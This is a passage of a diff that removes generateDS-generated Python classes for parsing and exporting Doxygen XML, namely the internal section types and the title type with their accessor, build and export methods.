namespaceprefix_, namespacedef_='', name_='sect1', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'para', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_para'): - self.add_para(obj_.value) - elif hasattr(self, 'set_para'): - self.set_para(obj_.value) - elif nodeName_ == 'sect1': - obj_ = docSect1Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'sect1', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_sect1'): - self.add_sect1(obj_.value) - elif hasattr(self, 'set_sect1'): - self.set_sect1(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docInternalType - - -class docInternalS1Type(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, para=None, sect2=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - if sect2 is None: - self.sect2 = [] - else: - self.sect2 = sect2 - self.sect2_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docInternalS1Type) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docInternalS1Type.subclass: - return docInternalS1Type.subclass(*args_, **kwargs_) - else: - return docInternalS1Type(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_sect2(self): - return self.sect2 - def set_sect2(self, sect2): - self.sect2 = sect2 - def add_sect2(self, value): - self.sect2.append(value) - def insert_sect2_at(self, index, value): - self.sect2.insert(index, value) - def replace_sect2_at(self, index, value): - self.sect2[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.para or - self.sect2 or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docInternalS1Type', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docInternalS1Type') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docInternalS1Type': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docInternalS1Type') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docInternalS1Type', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docInternalS1Type'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docInternalS1Type', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - for sect2_ in self.sect2: - namespaceprefix_ = self.sect2_nsprefix_ + ':' if (UseCapturedNS_ and self.sect2_nsprefix_) else '' - sect2_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='sect2', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'para', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_para'): - self.add_para(obj_.value) - elif hasattr(self, 'set_para'): - self.set_para(obj_.value) - elif nodeName_ == 'sect2': - obj_ = docSect2Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'sect2', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_sect2'): - self.add_sect2(obj_.value) - elif hasattr(self, 'set_sect2'): - self.set_sect2(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docInternalS1Type - - -class docInternalS2Type(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, para=None, sect3=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - if sect3 is None: - self.sect3 = [] - else: - self.sect3 = sect3 - self.sect3_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docInternalS2Type) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docInternalS2Type.subclass: - return docInternalS2Type.subclass(*args_, **kwargs_) - else: - return docInternalS2Type(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_sect3(self): - return self.sect3 - def set_sect3(self, sect3): - self.sect3 = sect3 - def add_sect3(self, value): - self.sect3.append(value) - def insert_sect3_at(self, index, value): - self.sect3.insert(index, value) - def replace_sect3_at(self, index, value): - self.sect3[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.para or - self.sect3 or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docInternalS2Type', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docInternalS2Type') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docInternalS2Type': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docInternalS2Type') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docInternalS2Type', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docInternalS2Type'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docInternalS2Type', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - for sect3_ in self.sect3: - namespaceprefix_ = self.sect3_nsprefix_ + ':' if (UseCapturedNS_ and self.sect3_nsprefix_) else '' - sect3_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='sect3', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'para', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_para'): - self.add_para(obj_.value) - elif hasattr(self, 'set_para'): - self.set_para(obj_.value) - elif nodeName_ == 'sect3': - obj_ = docSect3Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'sect3', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_sect3'): - self.add_sect3(obj_.value) - elif hasattr(self, 'set_sect3'): - self.set_sect3(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docInternalS2Type - - -class docInternalS3Type(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, para=None, sect3=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - if sect3 is None: - self.sect3 = [] - else: - self.sect3 = sect3 - self.sect3_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docInternalS3Type) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docInternalS3Type.subclass: - return docInternalS3Type.subclass(*args_, **kwargs_) - else: - return docInternalS3Type(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_sect3(self): - return self.sect3 - def set_sect3(self, sect3): - self.sect3 = sect3 - def add_sect3(self, value): - self.sect3.append(value) - def insert_sect3_at(self, index, value): - self.sect3.insert(index, value) - def replace_sect3_at(self, index, value): - self.sect3[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.para or - self.sect3 or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docInternalS3Type', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docInternalS3Type') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docInternalS3Type': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docInternalS3Type') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docInternalS3Type', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docInternalS3Type'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docInternalS3Type', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - for sect3_ in self.sect3: - namespaceprefix_ = self.sect3_nsprefix_ + ':' if (UseCapturedNS_ and self.sect3_nsprefix_) else '' - sect3_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='sect3', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'para', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_para'): - self.add_para(obj_.value) - elif hasattr(self, 'set_para'): - self.set_para(obj_.value) - elif nodeName_ == 'sect3': - obj_ = docSect4Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'sect3', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_sect3'): - self.add_sect3(obj_.value) - elif hasattr(self, 'set_sect3'): - self.set_sect3(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docInternalS3Type - - -class docInternalS4Type(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, para=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docInternalS4Type) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docInternalS4Type.subclass: - return docInternalS4Type.subclass(*args_, **kwargs_) - else: - return docInternalS4Type(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.para or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docInternalS4Type', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docInternalS4Type') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docInternalS4Type': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docInternalS4Type') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docInternalS4Type', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docInternalS4Type'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docInternalS4Type', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'para', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_para'): - self.add_para(obj_.value) - elif hasattr(self, 'set_para'): - self.set_para(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docInternalS4Type - - -class docTitleType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docTitleType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docTitleType.subclass: - return docTitleType.subclass(*args_, **kwargs_) - else: - return docTitleType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return 